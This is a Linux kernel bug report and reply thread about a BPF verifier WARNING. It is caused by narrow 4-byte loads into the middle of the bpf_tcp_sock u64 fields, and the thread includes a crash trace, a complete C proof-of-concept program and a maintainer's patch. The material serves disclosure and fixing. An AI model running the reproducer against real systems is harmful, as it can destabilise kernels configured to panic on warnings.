BUG: WARNING in bpf_convert_ctx_accesses on narrow loads of bpf_tcp_sock u64 fields
Subsystems (3)
梅开彦
Reviewed-by Dongliang MuOur fuzzer tool discovered a verifier-bug (WARNING) vulnerability in the BPF subsystem. bpf_tcp_sock_is_valid_access() accepts a 4-byte load at offset 0x54/0x5c — the middle of the u64 fields bytes_received/bytes_acked — and forwards the instruction unchanged to bpf_tcp_sock_convert_ctx_access(). The converter has no case for these offsets, so it returns 0 and the verifier trips verifier_bug("error during ctx access conversion (0)").
## Root Cause
A ctx load on a PTR_TO_TCP_SOCK register is validated by bpf_tcp_sock_is_valid_access() (net/core/filter.c) and rewritten by bpf_tcp_sock_convert_ctx_access() — and the two disagree on which offsets exist.
The validator's switch only special-cases the u64 field starts bytes_received (0x50) and bytes_acked (0x58), which require size == 8; every other offset falls to the default case, which accepts any 4-byte-aligned offset in the struct with size == 4:
```c
switch (off) {
case offsetof(struct bpf_tcp_sock, bytes_received): /* 0x50 */
case offsetof(struct bpf_tcp_sock, bytes_acked): /* 0x58 */
return size == sizeof(__u64);
default:
return size == sizeof(__u32);
}
```The converter, in contrast, only knows the exact field starts: its switch covers every field of struct bpf_tcp_sock and has no default case — an unmatched offset generates no instructions and returns cnt = 0, which the fixup pass treats as a verifier-internal error (verifier_bug("error during ctx access conversion (0)")).
## Execution Flow Visualization
```
Vulnerability Execution Flow
|
|--- 1. CGROUP_SKB prog: ctx->sk -> bpf_get_listener_sock() ->
| bpf_tcp_sock(), yielding a PTR_TO_TCP_SOCK register
|
|--- 2. The prog does `r0 = *(u32 *)(r0 + 0x54)`. 0x54 is the middle
| of the u64 field bytes_received (0x50..0x57)
|
|--- 3. bpf_tcp_sock_is_valid_access(0x54, 4): 0x54 has no case in
| the switch, so the default case applies -> size == 4 ->
| accepted. Nothing normalizes the offset to the field start
| 0x50
|
|--- 4. bpf_tcp_sock_convert_ctx_access(): no case for 0x54 either
| -> generates no instructions -> cnt = 0
|
|--- 5. verifier_bug("error during ctx access conversion (0)")
-> WARNING
```## Reproduction Steps
1. **Load a CGROUP_SKB program** (prog_type=8) that obtains a PTR_TO_TCP_SOCK register via ctx->sk -> bpf_get_listener_sock() -> bpf_tcp_sock(), each followed by a NULL check.
2. **Trigger**: perform the load r0 = *(u32 *)(r0 + 0x54) on it. A single bpf(BPF_PROG_LOAD, ...) call fires the WARNING during the fixup pass.
## Crash Report
``` verifier bug: error during ctx access conversion (0) WARNING: kernel/bpf/fixups.c:1145 at bpf_convert_ctx_accesses+0x1e86/0x26a0 kernel/bpf/fixups.c:1145, CPU#0: syz.6.1576/19339 Modules linked in: CPU: 0 UID: 0 PID: 19339 Comm: syz.6.1576 Tainted: G L 7.3.0-rc4-g61c1e63c9b65-dirty #9 PREEMPT(full) Tainted: [L]=SOFTLOCKUP Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 RIP: 0010:bpf_convert_ctx_accesses+0x1e88/0x26a0 kernel/bpf/fixups.c:1145 Code: 00 41 bd 01 00 00 00 bd 01 00 00 00 e9 1a f4 ff ff 41 be f4 ff ff ff e9 0b ea ff ff e8 f1 6c d3 ff 48 8d 3d da a4 e1 0f 89 ee <67> 48 0f b9 3a 48 c7 c6 40 7f b9 8b 49 8d bf 88 08 00 00 89 ea 41 RSP: 0018:ffa0000003f97668 EFLAGS: 00010216 RAX: 000000000000d7f4 RBX: 0000000000000000 RCX: ffa0000014e95000 RDX: 0000000000200000 RSI: 0000000000000000 RDI: ffffffff91d0cce0 RBP: 0000000000000000 R08: 0000000000000000 R09: fff3fc000077360c R10: 0000000000000000 R11: 0000000000000000 R12: dffffc0000000000 R13: 0000000000000000 R14: 0000000000000001 R15: ff1100006ff20000 FS: 00007f3a49dee640(0000) GS:ff110001f062b000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000110c3922d5 CR3: 0000000114e61000 CR4: 0000000000753ef0 PKRU: 80000000 Call Trace: <TASK> bpf_check+0x2e04/0xa1e0 kernel/bpf/verifier.c:22693 bpf_prog_load+0x1380/0x2a60 kernel/bpf/syscall.c:3149 __sys_bpf+0x2cab/0x5600 kernel/bpf/syscall.c:6409 __do_sys_bpf kernel/bpf/syscall.c:6531 [inline] __se_sys_bpf kernel/bpf/syscall.c:6528 [inline] __x64_sys_bpf+0xd0/0x140 kernel/bpf/syscall.c:6528 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x128/0x7b0 arch/x86/entry/syscall_64.c:84 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f3a48fadead Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f3a49dedf98 EFLAGS: 00000246 ORIG_RAX: 0000000000000141 RAX: ffffffffffffffda RBX: 00007f3a491e5fa0 RCX: 00007f3a48fadead RDX: 0000000000000094 RSI: 00002000000005c0 RDI: 0000000000000005 RBP: 00007f3a49047d9f R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 0000000000000000 R14: 00007f3a491e5fa0 R15: 00007f3a49dce000 </TASK> ---------------- Code disassembly (best guess): 0: 00 41 bd add %al,-0x43(%rcx) 3: 01 00 add %eax,(%rax) 5: 00 00 add %al,(%rax) 7: bd 01 00 00 00 mov $0x1,%ebp c: e9 1a f4 ff ff jmp 0xfffff42b 11: 41 be f4 ff ff ff mov $0xfffffff4,%r14d 17: e9 0b ea ff ff jmp 0xffffea27 1c: e8 f1 6c d3 ff call 0xffd36d12 21: 48 8d 3d da a4 e1 0f lea 0xfe1a4da(%rip),%rdi # 0xfe1a502 28: 89 ee mov %ebp,%esi * 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction 2f: 48 c7 c6 40 7f b9 8b mov $0xffffffff8bb97f40,%rsi 36: 49 8d bf 88 08 00 00 lea 0x888(%r15),%rdi 3d: 89 ea mov %ebp,%edx 3f: 41 rex.B ```
## Proof of Concept
The following C program can demonstrate the vulnerability on bpf-next commit 61c1e63c9b651a77b1e24208b9361965c69959e6 (7.3.0-rc4).
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
static int bpf(int cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
int main(void)
{
struct bpf_insn insns[] = {
{0x79, 6, 1, 0x00a8, 0}, /* r6 = ctx->sk */
{0x15, 6, 0, 8, 0}, /* if r6==0 goto +8 */
{0xbf, 1, 6, 0, 0}, /* r1 = r6 */
{0x85, 0, 0, 0, 98}, /* get_listener_sock */
{0x15, 0, 0, 5, 0}, /* if r0==0 goto +5 */
{0xbf, 1, 0, 0, 0}, /* r1 = r0 */
{0x85, 0, 0, 0, 96}, /* tcp_sock */
{0x15, 0, 0, 2, 0}, /* if r0==0 goto +2 */
{0xbf, 1, 0, 0, 0}, /* r1 = r0 */
{0x81, 0, 0, 0x54, 0}, /* r0 = *(u32*)(r0+0x54) */
{0xb7, 0, 0, 0, 0}, /* r0 = 0 */
{0x95, 0, 0, 0, 0}, /* exit */
};
char log_buf[65536] = {0};
union bpf_attr attr = {0};
attr.prog_type = BPF_PROG_TYPE_CGROUP_SKB;
attr.insns = (uint64_t)insns;
attr.insn_cnt = sizeof(insns) / sizeof(insns[0]);
attr.license = (uint64_t)"GPL";
attr.log_buf = (uint64_t)log_buf;
attr.log_size = sizeof(log_buf);
attr.log_level = 1;
int fd = bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
if (fd >= 0) {
printf("[*] loaded unexpectedly, fd=%d\n", fd);
return 0;
}
printf("[*] PROG_LOAD failed: %s\n", strerror(errno));
printf("--- verifier log ---\n%s\n", log_buf);
return 1;
}
```## Kernel Configuration Requirements for Reproduction
The vulnerability can be triggered with the kernel config in the attachment.
Quoted 34 lines · 梅开彦
Our fuzzer tool discovered a verifier-bug (WARNING) vulnerability in the BPF subsystem.
bpf_tcp_sock_is_valid_access()accepts a 4-byte load at offset 0x54/0x5c — the middle of the u64 fieldsbytes_received/bytes_acked— and forwards the instruction unchanged tobpf_tcp_sock_convert_ctx_access(). The converter has no case for these offsets, so it returns 0 and the verifier tripsverifier_bug("error during ctx access conversion (0)").Reported-by Kaiyan Mei <[email protected]>Reported-by Yinhao Hu <[email protected]>Reviewed-by Dongliang Mu <[email protected]>## Root Cause
A ctx load on a
PTR_TO_TCP_SOCKregister is validated bybpf_tcp_sock_is_valid_access()(net/core/filter.c) and rewritten bybpf_tcp_sock_convert_ctx_access()— and the two disagree on which offsets exist.The validator's switch only special-cases the u64 field starts
bytes_received(0x50) andbytes_acked(0x58), which requiresize == 8; every other offset falls to the default case, which accepts any 4-byte-aligned offset in the struct withsize == 4:```c switch (off) { case offsetof(struct bpf_tcp_sock, bytes_received): /* 0x50 */ case offsetof(struct bpf_tcp_sock, bytes_acked): /* 0x58 */ return size == sizeof(__u64); default: return size == sizeof(__u32); } ```
Quoted 5 lines
The converter, in contrast, only knows the exact field starts: its switch covers every field of
struct bpf_tcp_sockand has no default case — an unmatched offset generates no instructions and returnscnt = 0, which the fixup pass treats as a verifier-internal error (verifier_bug("error during ctx access conversion (0)")).
Thanks for your report !
I think the issue is that a program can do:
'''
tp = bpf_tcp_sock(listener);
/* +0x54 is in the middle of the u64 bytes_received */ unsigned hi = *(unsigned *)((char *)tp + 0x54); '''
bpf_tcp_sock_is_valid_access() allows this, but bpf_tcp_sock_convert_ctx_access() has no idea how to handle such an offset.
I think we can just disallow the narrower access:
net/core/filter.c +0 -0
@@ -7600,8 +7600,8 @@ bool bpf_tcp_sock_is_valid_access(int off, int size, enum bpf_access_type type,
return false;
switch (off) {
- case offsetof(struct bpf_tcp_sock, bytes_received):
- case offsetof(struct bpf_tcp_sock, bytes_acked):
+ case bpf_ctx_range(struct bpf_tcp_sock, bytes_received):
+ case bpf_ctx_range(struct bpf_tcp_sock, bytes_acked):
return size == sizeof(__u64);
default:
return size == sizeof(__u32);